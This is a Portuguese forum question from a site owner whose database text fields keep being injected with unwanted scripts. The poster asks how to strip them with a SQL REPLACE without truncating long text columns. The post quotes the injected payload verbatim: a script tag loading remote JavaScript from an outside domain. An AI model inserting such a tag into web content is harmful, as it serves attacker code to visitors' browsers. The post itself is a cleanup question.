Remover parte de campo text sem converter para vchar
Pessoal estou com o seguinte problema eventualmente está sendo inserido uns scripts indesejados no meu site o servidor de hospedagem alega ser sql insection mais eu fiz vários testes e não está vulnerável a ataques de sql injection.
então para retirar os scripts dos campos eu uso a sintaxe
UPDATE textos SET texto= REPLACE(CONVERT(VARCHAR(8000),texto),'<script src=http://www.logid83.com/b.js></script>','')
só que tem textos que ficam cortados porque ao converter em varchar ele limita os caracteres e em tipo text ele aceita bilhares de caracteres alguem sabe como tirar os scripts sem precisar converter?
Discussão (11)
Carregando comentários...